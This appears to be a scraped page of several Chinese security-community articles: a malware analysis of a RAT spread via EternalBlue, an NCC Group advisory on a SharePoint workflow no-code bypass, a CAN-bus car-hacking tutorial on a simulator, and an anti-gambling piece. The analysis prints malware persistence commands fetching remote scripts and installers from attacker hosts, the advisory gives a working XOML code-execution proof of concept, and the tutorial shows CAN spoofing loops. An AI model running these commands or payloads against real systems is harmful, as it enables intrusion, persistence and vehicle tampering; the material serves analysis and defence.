由于该CFG绕过漏洞的影响仅限于攻击者已经获得了读写内存权限的情况，因此其实用性在现实中可能会受到一些限制。需要引起警觉的是，这个绕过方法具有内置到Chakra
JIT架构内部的优势，这意味着它可能很难修补，并且不会受到像英特尔的CET这样的未来缓解措施的影响。
**补救措施**
微软已经承诺对ChakraCore进行相应的修改，以缓解我们发现的CFG绕过（以及其他CVE补丁）漏洞所造成的威胁。他们的基本思想是，在编码器编码指令时计算校验和，然后在将整个缓冲区复制到最终的RX（read/execute-only）缓冲区之后对校验和进行验证。并且，只有通过验证后，JIT处理后的代码的入口点才能作为有效的CFG目标。这里的选择的校验和算法是CRC32。
我们希望这篇文章将激励他人继续研究绕过目前的缓解措施新的方法，并发展新的缓解措施。 | 社区文章 |
# 【木马分析】分析利用“永恒之蓝”漏洞传播的RAT
|
##### 译文声明
本文是翻译文章，文章来源：cyphort.com
原文地址：<https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[ **Carpediem**](http://bobao.360.cn/member/contribute?uid=2659563319)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在WannaCry病毒肆虐期间，Cyphort实验室已经发现了利用同样的“永恒之蓝”攻击包来传播恶意软件。这个恶意软件不是勒索软件也不是之前报道过的比特币挖矿软件。这是一个典型的远控木马，用来监视人们的行为或者控制他们的计算机操作任何攻击者想实现的目的。
5月12号，在WannaCry病毒传播期间，Cyphort实验室的研究员已经发现了一个针对我们蜜罐服务器的一个相似的SMB攻击。后来，又在5月3号我们发现了同一攻击行为的证据。
网络捕捉到的SMB攻击
有非常多的基于以下ET规则的“永恒之蓝”攻击
05/12/2017-17:27:19.766291 [**] [1:2024217:2] ET EXPLOIT PossibleETERNALBLUE MS17-010 Heap Spray [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 182.18.23.38:55768 -> 192.168.160.60:445
05/12/2017-17:27:20.225752 [**] [1:2024217:2] ET EXPLOIT PossibleETERNALBLUE MS17-010 Heap Spray [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 182.18.23.38:55768 -> 192.168.160.60:445
05/12/2017-17:27:20.652098 [**] [1:2024218:1] ET EXPLOIT PossibleETERNALBLUE MS17-010 Echo Response [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 192.168.160.60:445 -> 182.18.23.38:55768
05/12/2017-17:27:26.772666 [**] [1:2024218:1] ET EXPLOIT PossibleETERNALBLUE MS17-010 Echo Response [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 192.168.160.60:445 -> 182.18.23.38:55768
我们最初认为这是WannaCry，但是经过进一步调查我们发现这是一个极为隐秘的RAT。不像WannaCry，这种威胁只感染一次而不进行传播，它不是蠕虫。
**Payload**
从pcap文件中我们知道攻击者的IP是182.18.23.38.这是一个中国境内的地址。
一旦攻击成功，攻击者将发送一个加密的payload作为shellcode。这个shellcode 通过异或key“A9 CA 63
BA”加密，并且嵌入了二进制代码如下图所示：
嵌入式DLL的文件属性：
MD5: B6B68FAA706F7740DAFD8941C4C5E35A
SHA1: 806027DB01B4997F71AEFDE8A5DBEE5B8D9DBE98
Time Stamp: Sat Apr 29 09:57:21 2017
Debugging Symbols Path: d:down10releasedown10.pdb
Exports: DllMain, test, InWMI
这个嵌入式DLL是木马母体，它会下载附加的恶意软件和接受来自控制者的指令。他接受以下形式的指令：
[down]
[cmd]
这些命令是从 “http://down[.]mysking.info:8888/ok.txt”下载的。
【down】命令指示恶意软件从一个链接下载并将它以第二个参数名保存。比如这个他将下载
“http://23.27.127.254:8888/close.bat”，并且保存为 c:windowsdebugc.bat。
【cmd】命令后面跟着一系列恶意软件将要执行的命令。
运行以上的命令，
将会删除以下的用户：
Asps.xnet
IISUSER_ACCOUNTXX
IUSR_ADMIN
snt0454
Asp.net
aspnet
将终止或者删除以下文件或进程。
c:windowsLogo1_.exe
c:windowsdellUpdate64.exe
Misiai.exe
c:windowsRichDllt.dll
C:windowswinhost.exe
C:windowsygwmgo.exe
c:windowsnetcore.exe
将通过FTP从down.mysking.info下载了一个a.exe文件作为 “Mysa”工作文件。
它会设置到以下的启动项中，为了下载或是执行附加的恶意软件。
reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun” /v “start” /d “regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll” /f
reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun” /v “start1” /d “msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q” /f
然后它会执行c.bat和另外一个DLL文件item.dat:
rundll32.exe c:windowsdebugitem.dat,ServiceMain aaaa
除此之外它将通过访问http://wmi[.]mykings.top:8888/kill.html 获取要终止的进程清单。
**Payload的第二阶段: Item.dat**
我们不能从自己的服务器上捕捉到item.dat。
由于【cmd】命令的作用，这个文件被保存到C:Windowsdebugitem.dat。我们认为这是payload的第二阶段。我们调查了Virustotal上的其他文件，发现他的哈希：
e6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b
Virustotal上发现的这个恶意软件从以下链接可以下载：
http://67[.]229.144.218:8888/test1.dat
http://47[.]88.216.68:8888/test.dat
http://47[.]52.0.176:8888/item.dat
http://118[.]190.50.141:8888/test.dat
这意味着攻击者用上述的IP作为控制端，并且根据Virustotal提供的情报，恶意软件似乎影响了多个地区。
样本第一次出现Virustotal是在2017年4月2号，从那以后 我们在Virustotal已经发现了12 个相似的样本
0108036951155a66879491ffc499cdb1e451e9ade58d62521a49a07aa4c79b74
25db9243e3fb0b18a8847c001b05c02b3cc686752a2e4ae28c4678d513b48e6f
b899ba1e426b838dd75d541cfe48d08a49453fb901e2808a15bbb44e08983d68
19fce399808befd7dfe92a0ab7cd006357f0d3a8a519a14953a3d217cca8ae48
557b13d6562b780612d932a6c0513acd8316885357b70ba5a8aedbbaa83668a9
56a35e6de83b7a6e9ecb731a5a636e91ab32899eb90fbec24c8f4d40467ca5d9
ec7fd8909baaf79077368dd113294c43e7269b323473e8825e73f64e2f71d0af
ceef5ea176716e225cc2389f0629b4d1ae3edb83c490c70f415c51a1b5118c19
05104184573f666dbf000c8150fc17c186e98de2c33f4177a406d125af751388
4d5cf13167537ce422ad0fe00f60ac523defde5ad0304a1d04eed77e9d590df0
ed5e704c63d5ec60adba8b5b56147f5c92f236b5410aff7246e8dab89961a51b
cf3cd50f7ce87d2a83ccda680a2bd82a45d62714432820cd0a5d7d784f08e147
这表明他们在2017.5.12号WannaCry爆发之前，已经通过“永恒之蓝”进行过攻击。
这个样本是通过 Safengine Shielden 壳来防护的。
item.dat的防护壳
这个样本是一个RAT，允许攻击者访问和控制受感染的机器
正在运行的item.dat的内存dump
基于以上的字符串，我们发现ForShare 8.28软件与其有相似之处，这个程序属于中国的网站。
<http://en.pudn.com/downloads758/sourcecode/windows/detail3014472_en.html>
<http://www.codeforge.cn/read/287854/MyClientTran.cpp__html>
在网站上发现的ForShare 8.28 GUI
基于源码我们确认这款恶意软件是 ForShare RAT其中的一个版本，这个RAT有以下许多“间谍”的特征：
接受并执行来自服务器的指令
监控屏幕
音视频监控
监控键盘
文件和数据传输
文件删除
终止进程
文件执行
枚举文件和进程
文件下载
控制机器
以下是RAT的一个命令片段
Close.bat
这个恶意软件一个有趣的行为是通过执行close.bat文件来关闭445端口。 Close.bat 或者 c.bat包含以下的代码:
这也是一个指标表明恶意软件是通过“永恒之蓝”传播的，并且关闭了445端口。因为攻击者不希望其他的攻击者影响他们的活动。我们相信这次攻击背后的团队跟在二月份发现
[spreads Mirai via Windows
Kaspersky](https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/)是同一个团队。我们发现了他们IOCs的相似之处。
**结论**
WannaCry勒索病毒以广泛的传播和巨大的破话性向这个世界传递一个强烈的信息。很明显这个信息就是：网络上有许多系统容易受到网络攻击。咋一看我们发现的这个威胁不像WannaCry勒索病毒破坏性大，但是危险大与否主要取决于攻击者的意图。主要的有效载荷是一个RAT，我们都清楚一旦恶意攻击者进入到你的企业内部会发生什么。并且如果WannaCry没有爆发，我们可能都不清楚网络上会有多少有漏洞的系统可以进行0day攻击，这也许是更危险的。最伤你心的是那些你看不见的东西。
特别感谢Joe Dela Cruz, Alex Burt, Abhijit Mohanta以及Cyphort
实验室的其他成员对于分析和发现此次威胁给与的帮助。
**IOC**
**Files**
C:Windowsdebugc.bat
C:Windowsdebugitem.dat
**SHA256**
E6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b
0108036951155a66879491ffc499cdb1e451e9ade58d62521a49a07aa4c79b74
25db9243e3fb0b18a8847c001b05c02b3cc686752a2e4ae28c4678d513b48e6f
b899ba1e426b838dd75d541cfe48d08a49453fb901e2808a15bbb44e08983d68
19fce399808befd7dfe92a0ab7cd006357f0d3a8a519a14953a3d217cca8ae48
557b13d6562b780612d932a6c0513acd8316885357b70ba5a8aedbbaa83668a9
56a35e6de83b7a6e9ecb731a5a636e91ab32899eb90fbec24c8f4d40467ca5d9
ec7fd8909baaf79077368dd113294c43e7269b323473e8825e73f64e2f71d0af
ceef5ea176716e225cc2389f0629b4d1ae3edb83c490c70f415c51a1b5118c19
05104184573f666dbf000c8150fc17c186e98de2c33f4177a406d125af751388
4d5cf13167537ce422ad0fe00f60ac523defde5ad0304a1d04eed77e9d590df0
ed5e704c63d5ec60adba8b5b56147f5c92f236b5410aff7246e8dab89961a51b
cf3cd50f7ce87d2a83ccda680a2bd82a45d62714432820cd0a5d7d784f08e147
**IP, URLs, and Domains**
182.18.23.38
Js.mykings.top
Down.mysking.info
Wmi.mykings.top
23.27.127.254
118.190.50.141
47.52.0.176
47.88.216.68
67.229.144.218
http://67.229.144.218:8888/test1.dat
http://47.88.216.68:8888/test.dat
http://47.52.0.176:8888/item.dat
http://118.190.50.141:8888/test.dat
http://down.mysking.info:8888/ok.txt
http://wmi.mykings.top:8888/kill.html
http://23.27.127.254:8888/close.bat
http://js.mykings.top:280/v.sct
http://js.mykings.top:280/helloworld.msi
scdc.worra.com | 社区文章 |
# 世界杯的幕后交易，谁是操盘“庄家”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
万众瞩目世界杯豪气开启
全球数以亿计的球迷为之疯狂
全球博彩业也迎来狂欢盛宴
但是
**庄家的狂欢，赌徒的末日！**
## 虚假的博彩平台纷至沓来
赌球网站有非常多都是虚假平台，大多通过短信、社群代理推广、邮件、不良网站、等形式传播扩散，引导用户到赌球网站/APP、或进群参赌。这些平台的特点就是，下注注资很容易，而提现却屡屡受限，甚至有些网站或APP有恶意程序。
Ø虚假的博彩网站界面充斥满屏的世界杯官方内容，也会标榜是世界杯官方授权投注网站，以此来伪装，目的就是让网站看起来更真实可靠。
Ø虚假的赌球APP通过鼓励消费者注册充值、竞猜比赛“胜平负”等方式获利。
部分APP以足球新闻赛事报道为传播载体，内含竞猜、投注等活动。此类APP安装后主动获取的权限都较为敏感，在使用过程中也有潜在危害。
千万不要抱着一夜暴富的侥幸心理参与博彩、赌球，因为它们不仅是非法网站，也有可能是诈骗平台。
当然，有比赛的地方就会有输赢。一些信誉还算良好的地下赌球网和黑庄开设各种“盘口”，让球迷以下注的形式来支持自己喜欢的球队，这操作无疑让球迷们肾上腺素飙升。
然而， **庄家和玩家之间的信息不对称，也根本没有公平性可言。**
## 庄家又是怎么赚钱的呢？
很多赌场平台有强大的数据储备和金融模型，他们需要的并非预测比赛结果，而是预测对不同结果的投注比例，只要投注额比例在盈利区间内，博彩公司就能盈利。
接着，通过高额赔率来吸引赌客参与，利用赌徒心理来牟利，实际上参与者往往赢了赌局却得不到奖金。有的即使侥幸获得了奖金，提现时也要被平台抽水，这个抽层比例也不低。
庄家会通过盘口和水位调整整体的投注额，能够稳赚不赔日金斗金的永远都只有庄家，普通玩家的结局只会是“十有九输”，赌球黑幕多到你难以想象，这就是为什么参赌总会输钱的原因。
## “外围”赌球的“金字塔”链条
赌球平台多为境外注册公司，监管上存在几点问题：
首先，赌球的庄家、开发者、运营者难以查获，往往不能根除赌球组织；另外，通过网络以及境外的方式也增加了监管人员的取证难度。
其次，在境外设置服务器，在国内分几级代理商销售彩票，总代理之下会在每个城市再设代理商，代理商通过抽水抽成盈利。导致赌博人群分散、赌资周转复杂、开发者与代理商之间的联系更加隐蔽；
从这个网络赌球集团内部的“金字塔”结构来看，最底层的就是这些参赌的赌客（散户）们。而层层返佣，这返的就是参赌人员的赌金。
写在最后：竞猜怡情，赌球伤身。
网络赌球不管输赢，最后的赢家永远是游戏的掌局者。呼吁大家通过正规渠道购彩，通过合理下注，获得竞彩的乐趣，权当消遣，千万别大量投注，以免万劫不复。 | 社区文章 |
# 技术报告：绕过工作流保护机制 - SharePoint远程代码执行
* * *
本文翻译自：<https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/>
* * *
### 概要
在.NET
Framework中，可以使用`System.Workflow`命名空间内的库编译XOML文件来创建工作流（Workflow）。工作流编译器可以使用`/nocode`和`/checktypes`参数来终止执行不受信任的代码。`/nocode`用来禁止使用code-beside模型在服务器端检查工作流，以确保它们不包含任何代码。第二个参数仅用于允许配置文件中的白名单类型。
`no-code`保护机制可以被绕过，因为它没有检查工作流中的是否禁用activities。此外，代码是在应用程序检查有效类型之前执行的。
### 位置
默认情况下，低权限的SharePoint用户可以访问自己的个人网站，并可以为自己创建工作流。出于保护的目的，SharePoint还在服务器端编译工作流时使用了`/nocode`和
`/checktypes`参数。然而，由于bypass规则是确定的，在SharePoint服务器通过创建或更改工作流来执行命令是存在可能的。
### 影响
默认情况下，低权限的SharePoint用户可以访问自己的个人网站，并可以为自己创建工作流。因此，经过身份验证的SharePoint用户可以在服务器上执行命令。
### 详细信息
触发该问题的工作流XOML文件为：
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<SequentialWorkflowActivity Enabled="False">
<x:Code>
Object test = System.Diagnostics.Process.Start("cmd.exe", "/c calc");
private void SayHello(object sender,object test)
{
//ToDo!
}
</x:Code>
</SequentialWorkflowActivity>
</SequentialWorkflowActivity>
下面的屏幕截图显示了设计模式中的上述工作流程：
Microsoft(R) Windows Workflow Compiler工具可用作编译XOML文件的概念验证。这个工具应该和 `/nocode
/checktypes`一起使用，以便在.NET Framework过期的时候显示绕过问题：
wfc test.xoml /nocode:+ /checktypes:+
在SharePoint中，XOML文件的功能会因使用诸如`/_vti_bin/webpartpages.asmx`中的`ValidateWorkflowMarkupAndCreateSupportObjects`方法而受到影响。
#### 一件有趣的事
当我在SharePoint Online上测试这个问题，用来准备最终的错误报告时，微软的Matt Swann用Burp Suite
Collaborator联系到了我，这让人有点兴奋不已：
应该说明的是，根据Matt的说法，这不是他们事件响应的标准操作程序，是因为他们已经确定这个activity是NCC集团的！
### .NET Framework的根本原因及解决方案
用来负责检查XOML文件代码的代码如下：
internal static bool HasCodeWithin(Activity rootActivity)
{
bool hasCodeWithin = false;
Walker documentWalker = new Walker();
documentWalker.FoundActivity += delegate(Walker walker, WalkerEventArgs e)
{
Activity currentActivity = e.CurrentActivity;
if (!currentActivity.Enabled)
{
e.Action = WalkerAction.Skip;
return;
}
CodeTypeMemberCollection codeCollection = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection;
if (codeCollection != null && codeCollection.Count != 0)
{
hasCodeWithin = true;
e.Action = WalkerAction.Abort;
return;
}
};
documentWalker.Walk(rootActivity as Activity);
return hasCodeWithin;
}
这也可以在以下网址查看：
<https://referencesource.microsoft.com/#System.Workflow.ComponentModel/AuthoringOM/Compiler/XomlCompilerHelpers.cs,c44d72fa4c58a95e>
为了在使用`/nocode`时没有`Code`节点，它似乎并没有检查工作流中是否禁用activities。
在打上了Microsort2018年七月的补丁后，上面的代码将更改为以下代码（使用反编译器获取代码）：
internal static bool HasCodeWithin(Activity rootActivity)
{
bool flag = false;
Walker walker1 = new Walker();
walker1.FoundActivity += new WalkerEventHandler((Walker walker, WalkerEventArgs e) => {
Activity currentActivity = e.CurrentActivity;
if (!currentActivity.Enabled && AppSettings.AllowXCode)
{
e.Action = WalkerAction.Skip;
return;
}
CodeTypeMemberCollection value = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection;
if (value == null || value.Count == 0)
{
return;
}
flag = true;
e.Action = WalkerAction.Abort;
});
walker1.Walk(rootActivity);
return flag;
}
可以看到，它添加了一个附加参数，以确保所有的activities都被正确地检查，而不管它是否启用。
### 建议
使用2018年7月发布的.NET Framework更新版。
需要说明的是，更新SharePoint是不能解决这个问题的。
### 关于NCC集团
NCC集团是全球范围内的网络安全和风险缓解方面的资深专家，和企业合作，以保护企业的品牌，价值和声誉，防御层出不穷的威胁情况为己任。相信凭借我们的知识，经验以及合作的企业遍布全球的规模，我们是最有能力来帮助企业识别，评估，减轻和应对他们所面临的风险。我们希望互联网更加地安全，并彻底改变大家对网络安全的看法。 | 社区文章 |
# 手把手教你如何黑掉汽车（Part 1）
##### 译文声明
本文是翻译文章，文章来源：https://console-cowboys.blogspot.com
原文地址：<https://console-cowboys.blogspot.com/2018/04/hacking-all-cars-part-1.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
我一直想学习如何黑掉汽车。与往常一样，我在互联网上搜了一圈，并没有找到关于这方面的完整内容，只有零散且重复的只言片语，非常令人沮丧。我并不是一个汽车黑客专家，只是将黑客技术当成我的爱好而已。在本系列文章中，我们面对的是一个模拟实验环境，也就是说只需要5分钟，大家就能跟着教程一步一步走，在不破坏女票汽车的前提下黑掉汽车。毕竟如果女票有辆普锐斯，我们完全没必要去攻击自己的兰博基尼。
本系列教程的主要内容如下，大家可以决定是否需要继续阅读：
1、搭建测试用的虚拟环境。
2、嗅探CAN通信数据。
3、解析CAN通信数据。
4、逆向分析CAN ID。
5、拒绝服务攻击。
6、重放/注入通信流量。
7、使用python编写自己的CAN Socket工具。
8、面向汽车组件的针对性攻击。
9、攻击带有硬件设施的真实汽车。
在学习了解汽车黑客技术之前（比如了解什么是CAN），我们要做的第一件事情就是启动并运行实验环境。我们需要运行一个简单的模拟CAN
Bus网络，该网络可以控制模拟汽车的各种功能。多说不如多做，只是简单地背诵汽车网络术语肯定比不上亲自动手去学习。
我也不希望你们现在就去买一大堆的硬件和千斤顶，其实只需要跟着这个教程学习下去，我们现在就能开始攻击汽车环境。这样我们也能先理解一些概念，不用担心去攻击真实的汽车。
大家可以访问[此链接](https://youtu.be/y4R3RizWN_8?list=PLCwnLq3tOElrdkQy_daR4wr9lJCt8c_C6)观看系列教学视频。
## 二、搭建模拟环境
首先我们安装一个Ubuntu
VMware环境并运行该环境。我们也可以选择使用Kali虚拟机，不过我遇到了复制粘贴问题，并且Kayak安装时也出现了一些错误。所以如果你喜欢的话可以选择使用Kali。虽然如此，我知道Kali可以与OpenGarages虚拟汽车正常配合，因此如果手头刚好有这种环境，那么就可以快速上手。
**安装依赖库**
虚拟环境启动后，我们就需要安装CAN相关工具以及一些依赖库，只需要几条命令apt-get命令即可，如下所示：
sudo apt-get update
sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils
然后获取ICSimulator源代码：
git clone https://github.com/zombieCraig/ICSim.git
**启动模拟器**
下载完毕后，我们可以将目录切换至已下载的代码目录，运行如下两条命令，设置虚拟的CAN接口以及模拟器GUI：
运行setup脚本启动vcan0接口：
root@kali:~/ICSim# ./setup_vcan.sh
root@kali:~/ICSim# ./icsim vcan0
在终端的另一个标签页上，我们可以使用如下命令打开模拟器控制器：
root@kali:~/ICSim#./controls vcan0
注意：我们在GUI中必须选中控制器，才能向模拟器发送按键命令。
## 三、使用模拟器
模拟器上有速度仪表盘（speedometer）、左右车灯、车门等。当控制面板获得焦点后，我们可以使用如下命令来控制模拟器。大家可以逐个尝试一下，同时注意模拟器的变化。
* 上下键（Up、Down）控制车速表
* 左右键（Left、Right）控制车灯
* 右Shift（Right Shift） + X、A或B打开车门
* 左Shift（Left Shift） + X、A或B关闭车门
比如，大家可以尝试一下Right Shift +X，你就可以看到车门打开界面。
感谢OpenGarages，现在我们已经有辆自己的汽车，随时可以开始黑掉它。
在前面的命令中，我们使用的是VCan0接口。运行`ifconfig`命令，我们可以看到这个接口的确存在，可以与CAN网络交互。
ficti0n@ubuntu:~/Desktop/ICSim$ ifconfig vcan0
vcan0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
UP RUNNING NOARP MTU:16 Metric:1
RX packets:558904 errors:0 dropped:0 overruns:0 frame:0
TX packets:558904 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:3663935 (3.6 MB) TX bytes:3663935 (3.6 MB)
汽车网络运行在各种协议上，最主要的还是CAN。你可以将CAN
Bus看成一个老式的网络中心，每个人都能看到其他人的流量。这个类比在某种程度上是正确的，如果某辆车没有连入你已连接的特定总线的话，你将无法看到所有汽车的流量。你可以认为CAN流量与UDP流量类似，因为它也没有保存报文发送状态，但这两者最主要的区别在于部分CAN
Bus网络并没有地址字段，所有数据都基于仲裁ID（Arbitration ID）以及优先级来运行。对我们来说了解这些背景知识已经足够。
了解这些知识后，现在我们来看一下能否通过CanDump工具看到属于我们虚拟汽车的CAN流量（CanDump是前面安装过的CanUtils软件包的一部分组件）。在`vcans0`接口上运行如下命令，我们就能看到一系列流量：
ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0
上图中我们可以看到一堆CAN数据帧，如果我们对车辆执行某些操作，可以发现CanDump输出数据也会相应地发生变化。然而这种变化可能转瞬即逝，我们无法看到数据变化是否一一对应某些操作（比如解锁模拟的车门）。汽车在IDLE状态下数据也会一直变化，某个小字段发生改变可能并不足以引起我们的注意，屏幕滚动太快的话我们也无法抓住这个变化。
## 四、捕获并重放CAN操作
为了解决上述问题，一种可选方案就是执行某种操作然后重放流量，如果重放的流量与我们的设备处于同一个总线网络中，那么我们应该能看到同样的操作再次出现。汽车上有各种网络，我们无法保证我们的网络完美契合，比如某个OBD2端口插件并没有连接到我们开门的那个网络，或者车门根本就没连接到网络中（取决于具体车型、车龄以及车的配置情况）。
CanUtil软件包中包含的另一个有用的工具就是CanPlayer，这个工具可以用来重放流量。如果我们尝试捕捉的汽车功能与接入汽车的适配器处于同一总线上，或者使用的是虚拟的CAN接口，我们就可以使用CanDump来将流量保存为一个文件，然后就可以使用CanPlayer在网络上重放流量。比如，我们可以运行CanDump，打开车门，然后使用CanPlayer重放这一操作。
操作如下：
1、运行CanDump
2、使用Right Shift + X打开车门
3、停止运行CanDump（ctrl+c）
4、使用Left Shift + X关闭车门
5、运行CanPlayer打开已保存的文件，这样就能重放流量并打开车门
使用如下命令记录车门打开时的流量：（`-l`用来记录日志）：
ficti0n@ubuntu:~/Desktop/ICSim$ candump -l vcan0
重放CanDump文件：（使用刚创建的CanDump文件）
ficti0n@ubuntu:~/Desktop/ICSim$ canplayer -I candump-2018-04-06_154441.log
如果一切顺利，我们应该能够看到车门已再次打开。如果攻击实际生活中的汽车时没有顺利出现这种情况，可以再次重放流量即可。CAN网络与TCP/IP不同，更像UDP，发送请求后无法确保能得到响应数据。因此如果数据丢失，我们需要再次发送。此时可能网络上有优先级更高的流量正在发送，我们重放的流量只能沦为配角。
## 五、与Can Bus交互并逆向流量
前面做的事情挺酷，但如果想理解这个流量的具体含义，CanDump就不能发挥太大的作用，只能让我们有个大致的了解。为了完成这个任务，我们可以使用CanSniffer，这个工具的数据可以用其他颜色标记出发生变化的字节。CanSniffer的使用如下所述。
我们可以使用如下命令运行CanSniffer：
ficti0n@ubuntu:~/Desktop/ICSim$ cansniffer -c vcan0
我们可以看到3个字段：Time、ID以及Data。这三个字段非常好理解，含义与名称一一对应。在本文中这里最为重要的字段就是ID以及Data字段。
ID字段是数据帧的ID，以较为松散的方式与网络上的设备相关联，对应正在发送的数据包。ID同样可以用来确定网络上数据帧的优先级。CAN-ID的数字越低，它在网络上的优先级就越高，很有可能会被优先处理。Data字段是正在发送的数据，这些数据可以修改汽车的某些参数，比如解锁车门或者更新输出。你可能会注意到某些字节被红色标记出来，这些字节代表当前idle状态下发生改变的一些值。
**判断控制油门ID及字节**
打开嗅探窗口后，现在让模拟器以及控制器回到前台，点击并选择控制器窗口。在点击向上按钮时，注意观察CanSniffer的输出，查找原先为白色但现在为红色的那些值，观察油门加大时哪些值也随着变大。想注意到这些数据我们可能得花上好几分钟。
如下两张图分别对应处于IDLE状态下的ID
244报文以及提速后的ID244报文（按下向上键即可）。你可以发现某个字节会变成红色，并正在逐渐增大（十六进制下从0到F）。这个值会不断增大，直到达到最大速度为止。
ID
244中正在变化的字节与油门被踩下的动作相对应，所以244以某种方式与汽车加速相关。使用油门值来上手比较好，踩下油门时这个值会不断增大，这样在CanSniffer的输出结果中我们观察起来也更加方便。
**使用过滤器筛选值**
如果我们想筛选出油门值，可以点击终端窗口，输入`-000000`然后按下回车，这样就能清掉正在滚动的所有值。然后输入`+244`再按下回车，这样就能重新添加油门ID。现在我们可以再次点击控制器，使用向上按钮提高速度，不用担心其他值干扰我们的视线。这样输出窗口中只会显示ID
244，如下所示：
如果想取回所有的ID，可以点击终端窗口，输入`+000000`然后按下回车。现在我们就能像之前那样看到所有的输出。`000000`代表的是一切数据，但如果前面多了个`-`号，就会过滤掉所有信息，清空终端窗口。
**判断车灯ID**
现在我们来找出车灯ID。如果我们选中控制器窗口，按下左右箭头按钮，我们就可以看到输出列表中出现了一个新的ID，如下图所示的ID 188，这个ID与车灯有关：
这个ID之前并没有出现在输出数据中，因为前面没使用过，直到我们开始控制车灯为止。我们可以先输入`-000000`然后输入`+188`来单独过滤出这个值，这个数据的初始值为`00`。
当我们按下左右车灯按钮时，可以发现第一个字节从`00`变成了`01`或者`02`。如果两个按钮都没按，那么该值将变成`00`。想让控制器处在前台的同时又观察输出结果是比较困难的一件事，不过在可见窗口中，ID的数据值将保持在`00`，直到超时、未激活时从列表中消失。当然，我们可以使用上面那个过滤条件，这样就能更好地观察，不让ID消失。
**逆向协议**
利用这个实验环境，大家可以理解如何逆向分析汽车的所有功能，将每个动作与正确的ID及字节数据关联起来。通过这种方式，我们可以好好规划一下想改变汽车的哪些功能。前面我已带领大家简单过一遍如何识别与某个操作关联的具体字节以及ID，现在在攻击单个组件之前，大家可以自己把剩下的功能挖掘出来。
我的建议如下：
1、拿出一张纸和笔
2、尝试打开和关闭车门，记下控制这个动作的ID（记得使用过滤器）
3、尝试打开每扇门，记下打开车门所需的字节
4、尝试关闭每扇门，观察哪些字节发生变化以及具体的值，记下这些信息
5、对于左右车灯重复相同步骤（因为这些值可能与我前面测试的不一致）
6、车速表使用的是哪个ID？哪个字节会修改速度值？
## 六、直接攻击某个功能
找到所有功能的映射信息后，现在我们可以在不与控制器GUI交互的情况下，直接攻击网络中的各种设备。这种情况下，可能我们已经通过OnStar蜂窝数据网络接入汽车，或者通过以某种方式连接CAN网络的中央控制台单元台BLE连接来接入汽车。
通过某种方式接入CAN网络后，现在我们已经准备就绪，可以开始执行操作。接入方式很多，比如我们可以将某款无线设备安装到仪表盘下的OBD2端口，这样就能远程访问这辆汽车。
结合前面我们在CAN网络中收集的数据，我们可以使用正确的CAN-ID以及字节直接调用这些动作。由于我们跟目标隔空相望，我们不能直接抓住方向盘或者踩下油门，而需要发送CAN数据包来执行这些动作。
想完成这个任务，一种方法就是使用CanSend工具。我们可以使用在前面收集到的信息，将ID
188的第一个字节变成01，表示左转向灯按钮被按下，这样就能让左转向信号灯开始闪烁。CanSend使用的格式为`ID#Data`。使用CanSend发送转向信号时，我们可以看到如下输出：
ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 188#01000000
现在你应该能看到左转向信号灯开始闪烁，如果没有闪烁，请确保我们使用了正确的ID并修改了正确的字节。接下来我们来试一下油门，使用ID
244（前面分析过这个ID与油门有关）来调节速度。
ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 244#00000011F6
我猜测执行这条命令不会得到我们想要的结果，因为速度太快了，指针没办法跳到正确的值。因此我们可以在循环中，不断尝试这个操作，每次发送的油门值为11（大约等于30英里每小时（mph））：
ficti0n@ubuntu:~/Desktop/ICSim$ while true; do cansend vcan0 244#00000011F6; done
这样处理会好一些，你可能会注意到指针在来回不断跳动。之所以会来回跳动，
是因为总线上还有正常的CAN通信流量，告诉汽车真实的速度其实应该设为00。我们知道这种方法行之有效，的确可以改变速度，并且可以在不操控闪光灯控制器的情况下让车灯闪烁，这是非常酷的一件事。
## 七、监控CAN Bus并实时反馈
完成这个任务的另一种方法是监控CAN网络，当发现某个ID时就自动发送带有不同值的对应的ID。现在我们可以试一下，通过监控来修改速度的输出值。如下所示，我们可以运行CanDump，解析输出日志中的ID
244（与油门对应）。当汽车中的某个设备报告ID
244及对应的值时，我们需要立即发送自己的值，告诉汽车此时的速度值为30mph（对应的数值为11）。具体命令如下：
ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0 | grep " 244 " | while read line; do cansend vcan0 244#00000011F6; done
这条命令运行几秒钟后，一旦工具从网络中抓到合法的CAN-ID 244流量，就会发送自己修改后的值，然后我们就可以看到速度已经被调整到30mph。
非常好，现在让这条命令继续运行，再次点击控制器窗口，按住向上箭头。大约几秒钟后，当仪表盘上速度超过30mph时，你可以看到指针在来回跳动，想调节回30mph，因为我们的命令仍在后跳运行，不断干扰正常的速度值。
